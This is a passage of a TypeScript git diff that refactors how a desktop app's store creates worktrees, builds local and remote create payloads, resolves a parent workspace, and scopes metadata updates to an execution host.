-            ...(linkedBitbucketPR !== undefined ? { linkedBitbucketPR } : {}),
-            ...(linkedAzureDevOpsPR !== undefined ? { linkedAzureDevOpsPR } : {}),
-            ...(linkedGiteaPR !== undefined ? { linkedGiteaPR } : {}),
-            ...(linkedWorkItem !== undefined ? { linkedWorkItem } : {}),
-            ...(linkedTaskSourceContext !== undefined ? { linkedTaskSourceContext } : {}),
-            ...(startup ? { startup } : {}),
-            ...(creationId ? { creationId } : {}),
-            ...(automationProvenanceRequest ? { automationProvenanceRequest } : {})
+          const outcome = await runCreateAttempt(
+            request,
+            {
+              name: options?.nameWasGenerated
+                ? getGeneratedWorktreeCreateRetryCandidate(name, attempt)
+                : getClientWorktreeCreateCandidate(name, attempt),
+              // Why: older runtimes reject exact PR branch overrides on collision, so retry both branch and worktree names.
+              branchNameOverride: branchNameOverride
+                ? getClientWorktreeCreateCandidate(branchNameOverride, attempt)
+                : undefined,
+              parentWorkspace: parent.parentWorkspace,
+              manualOrder
+            },
+            target
+          )
+          if (lostRequestedParent(outcome, parent, target)) {
+            warnParentDroppedOnce()
           }
-          const target = getActiveRuntimeTarget(settingsForRepoOwner(get(), repoId))
-          if (
-            target.kind === 'environment' &&
-            (linkedWorkItem?.provider === 'jira' || linkedTaskSourceContext?.provider === 'jira')
-          ) {
-            await assertRuntimeEnvironmentCapability(
-              target.environmentId,
-              WORKTREE_LINKED_WORK_ITEM_CONTEXT_RUNTIME_CAPABILITY,
-              'Update the remote runtime to link Jira'
-            )
-          }
-          if (provisionedRoot && target.kind !== 'local') {
-            throw new Error('Provisioned-root recipes currently require a direct SSH connection.')
-          }
-          const result = provisionedRoot
-            ? await window.api.worktrees.adoptProvisionedRoot({
-                ...createArgs,
-                ...provisionedRoot
-              })
-            : target.kind === 'local'
-              ? await window.api.worktrees.create(createArgs)
-              : await callRuntimeRpc<Awaited<ReturnType<typeof window.api.worktrees.create>>>(
-                  target,
-                  'worktree.create',
-                  {
-                    repo: repoId,
-                    name: candidateName,
-                    ...(options?.nameWasGenerated ? { nameWasGenerated: true } : {}),
-                    baseBranch,
-                    ...(compareBaseRef ? { compareBaseRef } : {}),
-                    ...(candidateBranchNameOverride
-                      ? { branchNameOverride: candidateBranchNameOverride }
-                      : {}),
-                    setupDecision,
-                    sparseCheckout,
-                    ...(displayName ? { displayName } : {}),
-                    ...(telemetrySource ? { telemetrySource } : {}),
-                    ...(linkedIssue !== undefined ? { linkedIssue } : {}),
-                    ...(linkedPR !== undefined ? { linkedPR } : {}),
-                    ...(pushTarget ? { pushTarget } : {}),
-                    ...(createdWithAgent ? { createdWithAgent } : {}),
-                    ...(pendingFirstAgentMessageRename === true && createdWithAgent
-                      ? { pendingFirstAgentMessageRename: true }
-                      : {}),
-                    ...(linkedLinearIssue !== undefined ? { linkedLinearIssue } : {}),
-                    ...(linkedLinearIssueWorkspaceId !== undefined
-                      ? { linkedLinearIssueWorkspaceId }
-                      : {}),
-                    ...(linkedLinearIssueOrganizationUrlKey !== undefined
-                      ? { linkedLinearIssueOrganizationUrlKey }
-                      : {}),
-                    ...(manualOrder !== undefined ? { manualOrder } : {}),
-                    ...(parentWorkspace ? { parentWorkspace } : {}),
-                    ...(workspaceStatus !== undefined ? { workspaceStatus } : {}),
-                    ...(linkedGitLabMR !== undefined ? { linkedGitLabMR } : {}),
-                    ...(linkedGitLabIssue !== undefined ? { linkedGitLabIssue } : {}),
-                    ...(linkedBitbucketPR !== undefined ? { linkedBitbucketPR } : {}),
-                    ...(linkedAzureDevOpsPR !== undefined ? { linkedAzureDevOpsPR } : {}),
-                    ...(linkedGiteaPR !== undefined ? { linkedGiteaPR } : {}),
-                    ...(linkedWorkItem !== undefined ? { linkedWorkItem } : {}),
-                    ...(linkedTaskSourceContext !== undefined ? { linkedTaskSourceContext } : {}),
-                    ...(startupDraft ? { startupDraft } : {}),
-                    ...(automationProvenanceRequest ? { automationProvenanceRequest } : {}),
-                    ...(startup
-                      ? {
-                          startupCommand: startup.command,
-                          ...(startup.env ? { startupEnv: startup.env } : {}),
-                          ...(startup.launchConfig
-                            ? { startupLaunchConfig: startup.launchConfig }
-                            : {}),
-                          ...(startup.startupCommandDelivery
-                            ? { startupCommandDelivery: startup.startupCommandDelivery }
-                            : {}),
-                          activate: true
-                        }
-                      : {})
-                  },
-                  { timeoutMs: 10 * 60_000 }
-                )
-          // Why: worktrees.onChanged can add this worktree before this callback runs; appending blindly would duplicate it (React key clash).
-          set((s) => {
-            const hostId = repoHostId(s, repoId)
-            const createdWorktree = withRepoHostOwnership(
-              result.worktree,
-              hostId,
-              getProjectHostSetupForRepoHost(s, repoId, hostId)
-            )
-            const current = s.worktreesByRepo[repoId] ?? []
-            const alreadyPresent = current.some((w) => w.id === createdWorktree.id)
-            const nextWorktrees = alreadyPresent
-              ? current.map((worktree) =>
-                  worktree.id === createdWorktree.id
-                    ? { ...worktree, ...createdWorktree }
-                    : worktree
-                )
-              : [...current, createdWorktree]
-            return {
-              worktreesByRepo: {
-                ...s.worktreesByRepo,
-                [repoId]: nextWorktrees
-              },
-              ...(result.workspaceLineage
-                ? {
-                    workspaceLineageByChildKey: {
-                      ...s.workspaceLineageByChildKey,
-                      [result.workspaceLineage.childWorkspaceKey]: result.workspaceLineage
-                    }
-                  }
-                : {}),
-              ...(result.initialBaseStatus
-                ? {
-                    baseStatusByWorktreeId: {
-                      ...s.baseStatusByWorktreeId,
-                      [result.worktree.id]:
-                        s.baseStatusByWorktreeId[result.worktree.id] ?? result.initialBaseStatus
-                    }
-                  }
-                : {}),
-              sortEpoch: s.sortEpoch + 1
-            }
-          })
+          applyCreatedWorktree(set, repoId, outcome.result)
+          const { result } = outcome
           showLocalBaseRefRefreshToast(result.localBaseRefRefresh, result.worktree)
           if (result.baseFallback) {
             requestWorktreeBaseFallbackNotice(result.baseFallback)
diff --git a/src/renderer/src/store/slices/worktrees/create/created-worktree-state-merge.ts b/src/renderer/src/store/slices/worktrees/create/created-worktree-state-merge.ts
new file mode 100644
index 00000000000..51ad88b2537
--- /dev/null
+++ b/src/renderer/src/store/slices/worktrees/create/created-worktree-state-merge.ts
@@ -0,0 +1,63 @@
+import type { WorktreeSliceSet } from '../listing/worktree-slice-types'
+import type { CreateWorktreeResult } from '../../../../../../shared/worktree/create-types'
+import {
+  getProjectHostSetupForRepoHost,
+  repoHostId,
+  withRepoHostOwnership
+} from '../listing/worktree-host-ownership'
+
+/** Folds a fresh create result into the worktree, lineage and base-status maps. */
+export function applyCreatedWorktree(
+  set: WorktreeSliceSet,
+  repoId: string,
+  result: CreateWorktreeResult
+) {
+  // Why: worktrees.onChanged can add this worktree before this callback runs; appending blindly would duplicate it (React key clash).
+  set((s) => {
+    const hostId = repoHostId(s, repoId)
+    const createdWorktree = withRepoHostOwnership(
+      result.worktree,
+      hostId,
+      getProjectHostSetupForRepoHost(s, repoId, hostId)
+    )
+    const current = s.worktreesByRepo[repoId] ?? []
+    const alreadyPresent = current.some((w) => w.id === createdWorktree.id)
+    const nextWorktrees = alreadyPresent
+      ? current.map((worktree) =>
+          worktree.id === createdWorktree.id ? { ...worktree, ...createdWorktree } : worktree
+        )
+      : [...current, createdWorktree]
+    return {
+      worktreesByRepo: {
+        ...s.worktreesByRepo,
+        [repoId]: nextWorktrees
+      },
+      ...(result.workspaceLineage
+        ? {
+            workspaceLineageByChildKey: {
+              ...s.workspaceLineageByChildKey,
+              [result.workspaceLineage.childWorkspaceKey]: result.workspaceLineage
+            }
+          }
+        : {}),
+      ...(result.lineage
+        ? {
+            worktreeLineageById: {
+              ...s.worktreeLineageById,
+              [result.lineage.worktreeId]: result.lineage
+            }
+          }
+        : {}),
+      ...(result.initialBaseStatus
+        ? {
+            baseStatusByWorktreeId: {
+              ...s.baseStatusByWorktreeId,
+              [result.worktree.id]:
+                s.baseStatusByWorktreeId[result.worktree.id] ?? result.initialBaseStatus
+            }
+          }
+        : {}),
+      sortEpoch: s.sortEpoch + 1
+    }
+  })
+}
diff --git a/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts b/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts
new file mode 100644
index 00000000000..6f378bc5a46
--- /dev/null
+++ b/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts
@@ -0,0 +1,94 @@
+import type { AppState } from '../../../types'
+import type { WorkspaceKey } from '../../../../../../shared/folder-workspace-types'
+import { toast } from 'sonner'
+import { translate } from '@/i18n/i18n'
+import { resolveWorktreeDisplayName } from '@/lib/worktree-default-display-name'
+import {
+  folderWorkspaceKey,
+  parseWorkspaceKey,
+  worktreeWorkspaceKey
+} from '../../../../../../shared/workspace-scope'
+import { getIndexedWorktreeById } from '@/store/worktree-repo-index'
+
+export type WorktreeCreateParentPick = {
+  /** Workspace the create attaches to. Undefined once a stale pick is dropped. */
+  parentWorkspace?: WorkspaceKey
+  /** Set only for an accepted user pick, whose lineage row must come back from the host. */
+  pickedParentWorktreeId?: string
+  /** Label for the drop warning; null when the parent record is already gone, '' when it has no name. */
+  pickedDisplayName: string | null
+  /** The pick no longer qualifies, so the create runs unattached. */
+  staleBeforeCreate: boolean
+}
+
+/** Resolves the composer pick against the current store, falling back to the active folder scope. */
+export function resolveWorktreeCreateParent(
+  state: AppState,
+  repoId: string,
+  requestedParentWorktreeId: string | undefined
+): WorktreeCreateParentPick {
+  const picked = requestedParentWorktreeId
+    ? getIndexedWorktreeById(state.worktreesByRepo, requestedParentWorktreeId)
+    : undefined
+  const usable = picked && !picked.isArchived && picked.repoId === repoId ? picked.id : undefined
+  const pickedDisplayName = picked ? resolveWorktreeDisplayName(picked).trim() : null
+  if (usable) {
+    return {
+      parentWorkspace: worktreeWorkspaceKey(usable),
+      pickedParentWorktreeId: usable,
+      pickedDisplayName,
+      staleBeforeCreate: false
+    }
+  }
+  const activeScope = parseWorkspaceKey(state.activeWorkspaceKey ?? '')
+  return {
+    parentWorkspace:
+      activeScope?.type === 'folder'
+        ? folderWorkspaceKey(activeScope.folderWorkspaceId)
+        : undefined,
+    pickedDisplayName,
+    staleBeforeCreate: Boolean(requestedParentWorktreeId)
+  }
+}
+
+/** Resolved late so the common create path never walks the folder-workspace list, and defensively
+ *  so a missing label can never fail a create that already succeeded. */
+function parentLabel(state: AppState, parent: WorktreeCreateParentPick): string | null {
+  // Why not truthiness: a picked-but-unnamed worktree must warn unnamed, not name the active folder.
+  if (parent.pickedDisplayName !== null) {
+    return parent.pickedDisplayName || null
+  }
+  const scope = parent.parentWorkspace ? parseWorkspaceKey(parent.parentWorkspace) : null
+  if (scope?.type !== 'folder') {
+    return null
+  }
+  const workspace = state.folderWorkspaces?.find(
+    (candidate) => candidate.id === scope.folderWorkspaceId
+  )
+  return workspace?.name.trim() || null
+}
+
+export function notifyWorktreeParentDropped(
+  state: AppState,
+  parent: WorktreeCreateParentPick
+): void {
+  const parentDisplayName = parentLabel(state, parent)
+  toast.warning(
+    parentDisplayName
+      ? translate(
+          'auto.store.slices.worktrees.createdWithoutParentNesting',
+          'Created without nesting under "{{value0}}"',
+          { value0: parentDisplayName }
+        )
+      : translate(
+          'auto.store.slices.worktrees.createdWithoutParentNestingUnnamed',
+          'Created without nesting under the selected parent'
+        ),
+    {
+      description: translate(
+        'auto.store.slices.worktrees.createdWithoutParentNestingDetail',
+        'The parent workspace was no longer available. You can set it from the workspace menu.'
+      )
+    }
+  )
+}
diff --git a/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts b/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts
new file mode 100644
index 00000000000..b018183016d
--- /dev/null
+++ b/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts
@@ -0,0 +1,132 @@
+import type { CreateWorktreeArgs } from '../../../../../../shared/worktree/create-types'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
+import type { WorkspaceKey } from '../../../../../../shared/folder-workspace-types'
+import type { TaskSourceContext } from '../../../../../../shared/task-source-context'
+import type { WorkspaceLinkedItem } from '../../../../../../shared/worktree/types'
+
+/** Trailing bag for `createWorktree` args that outgrew its positional list. */
+export type CreateWorktreeCallOptions = {
+  automationProvenanceRequest?: CreateWorktreeArgs['automationProvenanceRequest']
+  linkedWorkItem?: WorkspaceLinkedItem | null
+  linkedTaskSourceContext?: TaskSourceContext | null
+  /** Lets the owning runtime launch and prefill a task agent without first creating an idle shell. */
+  startupDraft?: string
+  /** True only when `name` came from the creature-name generator; gates host-side retirement. */
+  nameWasGenerated?: boolean
+  /** Parent picked in the composer. Sets sidebar nesting only; ignored if it no longer exists. */
+  parentWorktreeId?: string
+  provisionedRoot?: {
+    runtimeId: string
+    executionHostId: ExecutionHostId
+    expectedPath: string
+  }
+}
+
+/** Everything `createWorktree` received, packed once so both transports read from the same record.
+ *  The per-attempt fields live on `WorktreeCreateAttempt` instead. */
+export type WorktreeCreateRequest = Omit<CreateWorktreeArgs, 'parentWorkspace' | 'manualOrder'> & {
+  options?: CreateWorktreeCallOptions
+}
+
+/** Per-attempt values: names carry the conflict-retry suffix, the parent can be dropped on retry. */
+export type WorktreeCreateAttempt = {
+  name: string
+  branchNameOverride?: string
+  parentWorkspace?: WorkspaceKey
+  manualOrder?: number
+}
+
+/** Fields both transports spell the same way; one builder keeps IPC and RPC payloads from drifting. */
+function sharedCreateFields(
+  request: WorktreeCreateRequest,
+  attempt: WorktreeCreateAttempt
+): Omit<CreateWorktreeArgs, 'repoId' | 'startup' | 'creationId'> {
+  const { options } = request
+  return {
+    name: attempt.name,
+    ...(options?.nameWasGenerated ? { nameWasGenerated: true } : {}),
+    baseBranch: request.baseBranch,
+    ...(request.compareBaseRef ? { compareBaseRef: request.compareBaseRef } : {}),
+    ...(attempt.branchNameOverride ? { branchNameOverride: attempt.branchNameOverride } : {}),
+    setupDecision: request.setupDecision,
+    sparseCheckout: request.sparseCheckout,
+    ...(request.displayName ? { displayName: request.displayName } : {}),
+    ...(request.telemetrySource ? { telemetrySource: request.telemetrySource } : {}),
+    ...(request.linkedIssue !== undefined ? { linkedIssue: request.linkedIssue } : {}),
+    ...(request.linkedPR !== undefined ? { linkedPR: request.linkedPR } : {}),
+    ...(request.pushTarget ? { pushTarget: request.pushTarget } : {}),
+    ...(request.createdWithAgent ? { createdWithAgent: request.createdWithAgent } : {}),
+    ...(request.pendingFirstAgentMessageRename === true && request.createdWithAgent
+      ? { pendingFirstAgentMessageRename: true }
+      : {}),
+    ...(request.linkedLinearIssue !== undefined
+      ? { linkedLinearIssue: request.linkedLinearIssue }
+      : {}),
+    ...(request.linkedLinearIssueWorkspaceId !== undefined
+      ? { linkedLinearIssueWorkspaceId: request.linkedLinearIssueWorkspaceId }
+      : {}),
+    ...(request.linkedLinearIssueOrganizationUrlKey !== undefined
+      ? {
+          linkedLinearIssueOrganizationUrlKey: request.linkedLinearIssueOrganizationUrlKey
+        }
+      : {}),
+    ...(attempt.manualOrder !== undefined ? { manualOrder: attempt.manualOrder } : {}),
+    ...(attempt.parentWorkspace ? { parentWorkspace: attempt.parentWorkspace } : {}),
+    ...(request.workspaceStatus !== undefined ? { workspaceStatus: request.workspaceStatus } : {}),
+    ...(request.linkedGitLabMR !== undefined ? { linkedGitLabMR: request.linkedGitLabMR } : {}),
+    ...(request.linkedGitLabIssue !== undefined
+      ? { linkedGitLabIssue: request.linkedGitLabIssue }
+      : {}),
+    ...(request.linkedBitbucketPR !== undefined
+      ? { linkedBitbucketPR: request.linkedBitbucketPR }
+      : {}),
+    ...(request.linkedAzureDevOpsPR !== undefined
+      ? { linkedAzureDevOpsPR: request.linkedAzureDevOpsPR }
+      : {}),
+    ...(request.linkedGiteaPR !== undefined ? { linkedGiteaPR: request.linkedGiteaPR } : {}),
+    ...(options?.linkedWorkItem !== undefined ? { linkedWorkItem: options.linkedWorkItem } : {}),
+    ...(options?.linkedTaskSourceContext !== undefined
+      ? { linkedTaskSourceContext: options.linkedTaskSourceContext }
+      : {}),
+    ...(options?.automationProvenanceRequest
+      ? { automationProvenanceRequest: options.automationProvenanceRequest }
+      : {})
+  }
+}
+
+export function buildLocalWorktreeCreateArgs(
+  request: WorktreeCreateRequest,
+  attempt: WorktreeCreateAttempt
+): CreateWorktreeArgs {
+  return {
+    repoId: request.repoId,
+    ...sharedCreateFields(request, attempt),
+    ...(request.startup ? { startup: request.startup } : {}),
+    ...(request.creationId ? { creationId: request.creationId } : {})
+  }
+}
+
+export function buildRuntimeWorktreeCreateParams(
+  request: WorktreeCreateRequest,
+  attempt: WorktreeCreateAttempt
+): Record<string, unknown> {
+  const { startup, options } = request
+  return {
+    repo: request.repoId,
+    ...sharedCreateFields(request, attempt),
+    // Why: the host defaults a bare `parentWorkspace` to CLI provenance; app picks are manual.
+    ...(attempt.parentWorkspace ? { parentWorkspaceOrigin: 'manual' } : {}),
+    ...(options?.startupDraft ? { startupDraft: options.startupDraft } : {}),
+    ...(startup
+      ? {
+          startupCommand: startup.command,
+          ...(startup.env ? { startupEnv: startup.env } : {}),
+          ...(startup.launchConfig ? { startupLaunchConfig: startup.launchConfig } : {}),
+          ...(startup.startupCommandDelivery
+            ? { startupCommandDelivery: startup.startupCommandDelivery }
+            : {}),
+          activate: true
+        }
+      : {})
+  }
+}
diff --git a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-meta.ts b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-meta.ts
index d8d32bb78e2..762ad7e882a 100644
--- a/src/renderer/src/store/slices/worktrees/listing/detected-worktree-meta.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/detected-worktree-meta.ts
@@ -16,10 +16,13 @@ import { worktreeMatchesHost } from './worktree-host-ownership'
 
 const folderWorkspaceWorktreeCache = new WeakMap<FolderWorkspace, Worktree>()
 
+import { worktreeRowMatchesMetaHost } from './worktree-meta-host-match'
+
 export function applyDetectedWorktreeUpdates(
   detectedWorktreesByRepo: AppState['detectedWorktreesByRepo'],
   worktreeId: string,
-  rawUpdates: Partial<WorktreeMeta>
+  rawUpdates: Partial<WorktreeMeta>,
+  executionHostId?: ExecutionHostId
 ): AppState['detectedWorktreesByRepo'] {
   // Why: mirrors applyWorktreeUpdates — detected rows feed the same palette.
   const updates = withoutErasedRequiredWorktreeFields(rawUpdates)
@@ -29,7 +32,7 @@ export function applyDetectedWorktreeUpdates(
   for (const [repoId, result] of Object.entries(detectedWorktreesByRepo)) {
     let repoChanged = false
     const nextWorktrees = result.worktrees.map((worktree) => {
-      if (worktree.id !== worktreeId) {
+      if (worktree.id !== worktreeId || !worktreeRowMatchesMetaHost(worktree, executionHostId)) {
         return worktree
       }
       repoChanged = true
diff --git a/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts b/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts
index b812ea170ac..0eaeb33345d 100644
--- a/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/fetch-worktrees.ts
@@ -110,7 +110,7 @@ export function createFetchWorktrees(
       // Direct SSH lineage requires its own qualified authority result.
       // Bulk runtime callers apply one final host-wide snapshot after all repo merges.
       if (!directSshAuthority && !options?.suppressRemoteLineageRefresh) {
-        await refreshRemoteWorktreeLineageBestEffort(settings, set)
+        await refreshRemoteWorktreeLineageBestEffort(settings, set, get)
       }
       return directCallerAuthority ? refresh.providerResult! : refresh.result.authoritative
     } catch (err) {
diff --git a/src/renderer/src/store/slices/worktrees/listing/runtime-worktree-rpc-errors.ts b/src/renderer/src/store/slices/worktrees/listing/runtime-worktree-rpc-errors.ts
index b5cf89e47d8..d95393554a1 100644
--- a/src/renderer/src/store/slices/worktrees/listing/runtime-worktree-rpc-errors.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/runtime-worktree-rpc-errors.ts
@@ -11,3 +11,9 @@ export function isRuntimeSelectorNotFoundError(error: unknown): boolean {
 export function isRuntimeRepoNotFoundError(error: unknown): boolean {
   return hasRuntimeRpcErrorCode(error, 'repo_not_found')
 }
+
+/** Thrown before the worktree exists, so the caller can safely retry without the parent.
+ *  Matches re-wrapped errors too: relay and environment transports lose the RuntimeRpcCallError. */
+export function isRuntimeLineageParentMissingError(error: unknown): boolean {
+  return hasRuntimeRpcErrorCode(error, 'LINEAGE_PARENT_NOT_FOUND')
+}
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-host-ownership.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-host-ownership.ts
index d5fe96141b9..a70e6b28af0 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktree-host-ownership.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktree-host-ownership.ts
@@ -6,6 +6,7 @@ import { reuseEqualCatalogRows } from '../../worktree-catalog-reconciliation'
 import { getRepoIdFromWorktreeId } from '../../worktree-helpers'
 import {
   getRepoExecutionHostId,
+  getSettingsFocusedExecutionHostId,
   LOCAL_EXECUTION_HOST_ID,
   parseExecutionHostId,
   toSshExecutionHostId,
@@ -60,7 +61,9 @@ export function repoHostId(
   if (repo) {
     return getRepoExecutionHostId(repo)
   }
-  return hostId && parseExecutionHostId(hostId) ? hostId : LOCAL_EXECUTION_HOST_ID
+  return hostId && parseExecutionHostId(hostId)
+    ? hostId
+    : getSettingsFocusedExecutionHostId(state.settings)
 }
 
 export function repoHasExactlyOneExecutionHostOwner(
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-meta-host-match.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-meta-host-match.ts
new file mode 100644
index 00000000000..dfb05ab4415
--- /dev/null
+++ b/src/renderer/src/store/slices/worktrees/listing/worktree-meta-host-match.ts
@@ -0,0 +1,19 @@
+import {
+  LOCAL_EXECUTION_HOST_ID,
+  type ExecutionHostId
+} from '../../../../../../shared/execution-host'
+
+/**
+ * Mirror findKnownWorktreeById: an unstamped row belongs to the local host. A stricter test
+ * silently no-ops the optimistic write, so a rename appears to do nothing until the next refetch.
+ */
+export function worktreeRowMatchesMetaHost(
+  worktree: { hostId?: ExecutionHostId },
+  executionHostId: ExecutionHostId | undefined
+): boolean {
+  return (
+    executionHostId === undefined ||
+    worktree.hostId === executionHostId ||
+    (worktree.hostId === undefined && executionHostId === LOCAL_EXECUTION_HOST_ID)
+  )
+}
diff --git a/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts b/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts
index c8f0bae7971..a00f76b30a5 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts
@@ -4,7 +4,7 @@ import { translate } from '@/i18n/i18n'
 import { isPositiveHostedReviewNumber } from '../../../../../../shared/hosted-review'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { applyWorktreeUpdates, getRepoIdFromWorktreeId } from '../../worktree-helpers'
-import { getHostedReviewCacheKey } from '../../hosted-review'
+import { getHostedReviewCacheKey } from '../../hosted-review-cache-identity'
 import { getGitHubPRCacheKey, getLegacyGitHubPRCacheKey } from '../../github-cache-key'
 import {
   applyDetectedWorktreeUpdates,
@@ -28,13 +28,19 @@ import {
   trySettingsForWorktreeOwner
 } from '../listing/worktree-owner-settings'
 
+import { findRepoForHost } from '../../repo-host-identity'
 export function createUpdateWorktreeMeta(
   set: WorktreeSliceSet,
   get: WorktreeSliceGet
 ): WorktreeSlice['updateWorktreeMeta'] {
   return async (worktreeId, updates, options) => {
     const shouldApplyUpdate = options?.shouldApply
-    const existingWorktree = get().getKnownWorktreeById(worktreeId)
+    const requestedHostId = options?.executionHostId
+    const existingWorktree = findKnownWorktreeById(get(), worktreeId, requestedHostId)
+    const executionHostId =
+      requestedHostId ??
+      existingWorktree?.hostId ??
+      (get().settings?.activeRuntimeEnvironmentId ? undefined : 'local')
     if (shouldApplyUpdate && !shouldApplyUpdate(existingWorktree)) {
       return { ok: true }
     }
@@ -78,7 +84,7 @@ export function createUpdateWorktreeMeta(
       normalizedUpdates.pushTarget === undefined &&
       existingWorktree &&
       !existingWorktree.pushTarget
-        ? trySettingsForWorktreeOwner(get(), worktreeId)
+        ? trySettingsForWorktreeOwner(get(), worktreeId, executionHostId)
         : null
     const resolvedPushTarget =
       pushTargetOwnerSettings && existingWorktree && linkedPrForPushTarget !== null
@@ -101,7 +107,7 @@ export function createUpdateWorktreeMeta(
       resolvedPushTarget === undefined &&
       existingHostedReviewPushTargetLookup !== null &&
       existingHostedReviewPushTargetLookup.key !== nextHostedReviewPushTargetLookup?.key
-    const worktreeForUpdate = get().getKnownWorktreeById(worktreeId)
+    const worktreeForUpdate = get().getKnownWorktreeById(worktreeId, executionHostId)
     if (shouldApplyUpdate && !shouldApplyUpdate(worktreeForUpdate)) {
       return { ok: true }
     }
@@ -116,7 +122,10 @@ export function createUpdateWorktreeMeta(
       (normalizedUpdates.linkedGiteaPR === null &&
         (worktreeForUpdate?.linkedGiteaPR ?? null) !== null)
     const reviewRepo = shouldRefreshHostedReview
-      ? get().repos.find((repo) => repo.id === worktreeForUpdate?.repoId)
+      ? (findRepoForHost(get().repos, worktreeForUpdate?.repoId ?? '', {
+          hostId: executionHostId,
+          settings: get().settings
+        }) ?? undefined)
       : undefined
     const reviewBranch = worktreeForUpdate?.branch.replace(/^refs\/heads\//, '')
 
@@ -139,15 +148,24 @@ export function createUpdateWorktreeMeta(
 
     let didApply = false
     set((s) => {
-      if (shouldApplyUpdate && !shouldApplyUpdate(findKnownWorktreeById(s, worktreeId))) {
+      if (
+        shouldApplyUpdate &&
+        !shouldApplyUpdate(findKnownWorktreeById(s, worktreeId, executionHostId))
+      ) {
         return {}
       }
       didApply = true
-      const nextWorktrees = applyWorktreeUpdates(s.worktreesByRepo, worktreeId, enriched)
+      const nextWorktrees = applyWorktreeUpdates(
+        s.worktreesByRepo,
+        worktreeId,
+        enriched,
+        executionHostId
+      )
       const nextDetectedWorktrees = applyDetectedWorktreeUpdates(
         s.detectedWorktreesByRepo,
         worktreeId,
-        enriched
+        enriched,
+        executionHostId
       )
       const cacheKey =
         reviewRepo && reviewBranch
@@ -231,7 +249,13 @@ export function createUpdateWorktreeMeta(
     }
 
     try {
-      await persistWorktreeMeta(settingsForWorktreeOwner(get(), worktreeId), worktreeId, enriched)
+      await persistWorktreeMeta(
+        settingsForWorktreeOwner(get(), worktreeId, executionHostId),
+        worktreeId,
+        enriched,
+        executionHostId ?? existingWorktree?.hostId,
+        worktreeForUpdate?.identity?.key
+      )
       if (
         !options?.suppressHostedReviewRefresh &&
         reviewRepo &&
diff --git a/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts b/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts
index 8ec3d887ae2..78254535106 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts
@@ -1,4 +1,4 @@
-import type { WorktreeSlice } from '../../worktree-helpers'
+import type { WorktreeMetaBatchUpdate, WorktreeSlice } from '../../worktree-helpers'
 import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
 import { applyWorktreeUpdates, getRepoIdFromWorktreeId } from '../../worktree-helpers'
 import {
@@ -11,7 +11,6 @@ import { settingsForWorktreeOwner } from '../listing/worktree-owner-settings'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host'
 import { getIndexedWorktreesById } from '../../../worktree-repo-index'
-import type { WorktreeMeta } from '../../../../../../shared/worktree/meta-types'
 
 function getKnownOwnerHostIds(
   state: ReturnType<WorktreeSliceGet>,
@@ -26,25 +25,24 @@ function getKnownOwnerHostIds(
   }
   return [...hostIds]
 }
-
 export function createUpdateWorktreesMeta(
   set: WorktreeSliceSet,
   get: WorktreeSliceGet
 ): WorktreeSlice['updateWorktreesMeta'] {
-  return async (updatesByWorktreeId) => {
-    if (updatesByWorktreeId.size === 0) {
+  return async (updates) => {
+    if (updates.length === 0) {
       return
     }
 
-    const gitWorktreeUpdates = new Map<string, Partial<WorktreeMeta>>()
+    const gitWorktreeUpdates: WorktreeMetaBatchUpdate[] = []
     const folderWorkspaceUpdates: {
       folderWorkspaceId: string
       updates: ReturnType<typeof getFolderWorkspaceMetaUpdates>
     }[] = []
-    for (const [worktreeId, updates] of updatesByWorktreeId) {
-      const scope = parseWorkspaceKey(worktreeId)
+    for (const entry of updates) {
+      const scope = parseWorkspaceKey(entry.worktreeId)
       if (scope?.type === 'folder') {
-        const folderUpdates = getFolderWorkspaceMetaUpdates(updates)
+        const folderUpdates = getFolderWorkspaceMetaUpdates(entry.updates)
         if (Object.keys(folderUpdates).length > 0) {
           folderWorkspaceUpdates.push({
             folderWorkspaceId: scope.folderWorkspaceId,
@@ -52,19 +50,25 @@ export function createUpdateWorktreesMeta(
           })
         }
       } else {
-        gitWorktreeUpdates.set(worktreeId, updates)
+        gitWorktreeUpdates.push(entry)
       }
     }
 
     set((s) => {
       let nextWorktrees = s.worktreesByRepo
       let nextDetectedWorktrees = s.detectedWorktreesByRepo
-      for (const [worktreeId, updates] of gitWorktreeUpdates) {
-        nextWorktrees = applyWorktreeUpdates(nextWorktrees, worktreeId, updates)
+      for (const entry of gitWorktreeUpdates) {
+        nextWorktrees = applyWorktreeUpdates(
+          nextWorktrees,
+          entry.worktreeId,
+          entry.updates,
+          entry.executionHostId
+        )
         nextDetectedWorktrees = applyDetectedWorktreeUpdates(
           nextDetectedWorktrees,
-          worktreeId,
-          updates
+          entry.worktreeId,
+          entry.updates,
+          entry.executionHostId
         )
       }
       return nextWorktrees === s.worktreesByRepo &&
